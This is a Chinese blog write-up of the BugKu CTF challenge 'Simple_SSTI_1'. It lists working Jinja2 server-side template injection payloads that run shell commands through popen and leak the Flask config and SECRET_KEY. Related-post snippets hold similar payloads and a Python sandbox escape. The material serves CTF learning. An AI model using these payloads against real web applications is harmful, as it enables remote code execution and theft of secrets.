BugKu - Web - Simple_SSTI_1

最新推荐文章于 2022-07-03 18:01:47 发布
最新推荐文章于 2022-07-03 18:01:47 发布
阅读量2k 收藏
点赞数
分类专栏： ctf Writeup 文章标签： flask python 后端 网络安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/suichi314/article/details/122187229
版权

Simple_SSTI_1

在这里插入图片描述
猜测GET传参flag：?flag=1
在这里插入图片描述
测试注入：?flag=${7*7}
在这里插入图片描述

?flag={{7*7}}
在这里插入图片描述
?flag={{7*'7'}}
在这里插入图片描述
所以该模板使用的是jinja2渲染：?flag={{[].__class__.__base__.__subclasses__()}}
在这里插入图片描述
?flag={{[].__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']("ls").read()}}
在这里插入图片描述
?flag={{[].__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']("cat app.py").read()}}
在这里插入图片描述
?flag={{[].__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']("echo $FLAG").read()}}
在这里插入图片描述

payload 2

知道这是一个jinjia，可以直接查看配置：?flag={{config}}
在这里插入图片描述
也可以根据注释：?flag={{config.SECRET_KEY}}
在这里插入图片描述

1ta-chi
关注
专栏目录
BUGKU-simple_SSTI_1漏洞注入
kingx3的博客
10-08 317
SSTI全称Server side template injection.服务端模板注入这节课主要讲flask的模板注入.flask会把类似于 的变量当做参数来渲染并填充到web页面,如果该参数可控并被后台解析则有可能被注入恶意代码导致注入漏洞请注意 模板注入只会存在于二次渲染中,无二次渲染不会出现模板注入。
BugKu CTF之 Simple_SSTI_2
weixin_42557264的博客
09-16 1930
进入场景 和Simple_SSTI_1一样 提示需要传一个flag参数 F12也没有任何其他提示 ls一下看看内部文件 /?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}} 发现存在一些文件夹，进入查看，先看看第一个，运气很好，第一个app文件夹里就有flag 因为没有过滤直接cat …/app/flag ?flag={{%20config.__clas.
bugku-web-Simple_SSTI_1
qq_51775369的博客
10-30 3016
.打开题目链接， 出现以下页面 提示需要传入一个名为flag的参数，题目又叫SSTI，从而得到了可以使用模板注入的基本条件 SSTI模板注入知识点：https://www.cnblogs.com/bmjoker/p/13508538.html 了解Jinjan2 基础语法 Jinja2模版语言，是不区分缩进的，和纯python不同。实际上所有模版语言都不区分缩紧。 常用标记： 注释：`{# 这是注释 #}` 变量：`{{ post.title }}`，或字典元素`{{your_d...
BugKU-web-Simple_SSTI_1
qq_60905276的博客
10-24 1782
1.查看源代码,发现是模板注入 ps.这里针对的是flask模板，config是flask模板中的一个全局对象，包含了所有应用程序的配置值。 2.由源代码得知要传入一个参数且在flask框架中flag在secret_key下 输入?flag={{config.SECRET_KEY}} ...
Bugku WEB Simple_SSTI_1
lin的博客
04-12 5050
很简单的模板注入，查看页面源代码： 很明显，flag在secret_key下。 总结： 查看网页源代码#按F12就都看到了，flag一般都在注释里，有时候注释里也会有一条hint或者是对解题有用的信息。
BugKu-Simple_SSTI_1
gaily123的博客
07-03 298
场景界面为提示，需要flag参数 postman，get请求带参数flag={{config.SECRET_KEY}}
【Bugku】Simple_SSTI_1
addlys的博客
03-08 403
根据题目的提示，flag很有可能在SECRET_KEY文件中,我一直卡在看不了SECRET_KEY文件，知道看大佬wp，才知道是config.SECRET_KEY格式
Bugku web Simple_SSTI_2 wp
Whaocai的博客
08-05 645
考点： ①SSTI注入 最近学了学python ssti注入，找一道题练习练习。 进去之后，提示我们有个flag参数，同时再用御剑扫一下发现没有别的页面。 结合题目，直接payload：?flag={{1+1}},用的是flask模板 jinja2引擎 常见的ssti构造payload思路是： 这道题比较简单，什么敏感关键词都没有过滤 ...
BugkuWeb：Simple_SSTI_2
Light_inthe_eyes的博客
11-04 258
题目提示就很明显了是模板注入 flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read() }} flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }} flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read
Bugku-WEB-writeup（持续学习中~）
devil_sad的博客
11-12 3350
滑稽 打开题目发现一堆笑脸怼脸 按F12直接查看网页源代码即可获得flag 计算器 打开之后发现需要计算并输入验证码，可只能输入一位数字 我们可以右键单击输入框审查元素把maxlength改成3，使得我们能在验证框输入三位数 输入验证码即可得到flag 或者我们也可以直接点击上文中红框中的"js/code.js"也可以直接查看flag POST 通过阅读代码得知$what=='flag'即可得到flag 可是我们直接在URL后输入无法得到flag，于是...
十八、bugku Simple_SSTI_1
山兔的博客
09-06 567
ssti主要为python的一些框架 jinja2 mako tornado django，PHP框架smarty twig，java框架jade velocity等等使用了渲染函数时，由于代码不规范或信任了用户输入而导致了服务端模板注入，模板渲染其实并没有漏洞，主要是程序员对代码不规范不严谨造成了模板注入漏洞，造成模板可控。 http://114.67.246.176:10828/?flag={{config}} ?flag={{config.SECRET_KEY}} {{}}是变量包裹标识符。{{}
CTF python沙箱逃逸进阶题目
weixin_30432579的博客
01-12 582
future引用了python3的新特性，所以是不能直接回回显，得用print file函数可以读取。 print(().__class__.__bases__[0].__subclasses__()[40]('./sx2.py').read()) 读取源码后: from __future__ import print_function banned = [ "import", ...
SSTI 学习笔记
m0_63253040的博客
03-13 3326
PHP SSTI(Twig) 学习文章 进入环境，左上角有flag,hint 都检查看看 flag页面显示ip，hint页面源代码有提示 考虑XFF头或者referer头 测试一下 注：这里不用加上“；” 出来了 python flask ssti 学习文章 原理：因为对输入的字符串控制不足，把输入的字符串当成命令执行。 漏洞产生主要原因：render_template渲染函数的问题 渲染函数在渲染的时候，往往对用户输入的变量不做渲染，..
Web安全（Web_python_template_injection）
m0_56010012的博客
03-01 1647
可以知道题目是template injection题目。 由此可知，说明存在“SSTI”。关于SSTI即服务端模板注入攻击，服务端接受用户输入，将其作为 Web 应用模板的一部分，渲染编译后执行了恶意内容，导致敏感信息泄露、代码执行等。 常规的魔术方法，如下。可以在博客CTF 中常见 Python 题型 SSTI - 网安有其他问题的介绍。 __class__ #返回type类型，查看对象的类型 __bases__ #返回tuple类型，列出该类的基类 __mro__ #返回tuple...
Bugku 模板注入做题
Goodric的博客
04-27 1068
Bugku 模板注入做题 Simple_SSTI_1 打开场景，页面只显示了一句话，意为：您需要传入一个名为flag的参数。 现在知道传入参数，但是不知道参数 flag 的值是多少。 尝试传入，发现后面的值会在页面上执行出来。 F12 打开源代码，看到有一行注释。大概意思是会设置一个 secret_key 变量。 大概 flag 就在这个文件中。 这里涉及的知识点是服务端模板注入，先对 SSTI 进行了一些学习： 可以用{{config}}获取当前设置，构造 payload： ?flag={{con
BugKu-Web
龙卷风摧毁停车场
04-07 562
Simple_SSTI_1 SSTI的意思是模板注入 服务端模板注入 flask注入的三种模板 {% … %} {{ … }} {# … #} 打开网页查看源代码，提示说要传入一个名为flag的参数，下面的意思是，你只，在flask，经常会设置secret_key，查了一下，这个注入的模板就是{{}}最里面的括号里面些什么就会显示什么，像传入一个flag参数，?flag={{3*3}}就会显示9，那都提示了说在secret_key里面直接把这个东西放里面看看怎么事儿呗?flag={{secret_key
BugKu：Simple_SSTI（SSTI模板注入）
热门推荐
m0_54082441的博客
05-01 1万+
1.签到题 这个题相当easy了，只要按照描述来做，便能得到flag，答案如下： flag{BugKu-Sec-pwn!} 2.Simple_SSTI_1（SSTI模板注入） 点击链接进入，题目说： You need pass in a parameter named flag。(你需要传入一个名为flag的参数)然后我们可以直接f12查看，也可以右击页面--->“检查” 如图所示，我们会得到相关的提示，根据提示信息，我们利用flask的模板注入，就能直接得到flag。
Bugku CTF-Web篇writeup Simple_SSTI_1-2
anlr2020的博客
07-13 3298
Simple_SSTI_1 根据题目名得知为 简单_服务器模板注入 打开服务器场景英文提示，“你需要传入一个名为flag的参数”，得到参数名为flag F12或Ctrl+U查看一下网页代码 “你知道，在flask框架中，我们通常设置一个SECRET_KEY变量” flask：是由python实现的一种微web框架 SECRET_KEY：flask中的一种配置属性，flask涉及安全的东西需要用这个SECRET_KEY密钥进行加密 基本上根据提示可以确定题目的flag就藏在SECR..
Go笔记-flag参数解析
weixin_34060741的博客
02-27 468
2019独角兽企业重金招聘Python工程师标准>>> ...
bugku simple_ssti_1
最新发布
03-16
simple_ssti_1 是一道来自 Bugku 的简单 Server-Side Template Injection（SSTI）漏洞题目。 SSTI 漏洞通常发生在使用模板引擎时，攻击者可以利用这种漏洞执行任意代码。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1ta-chi

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值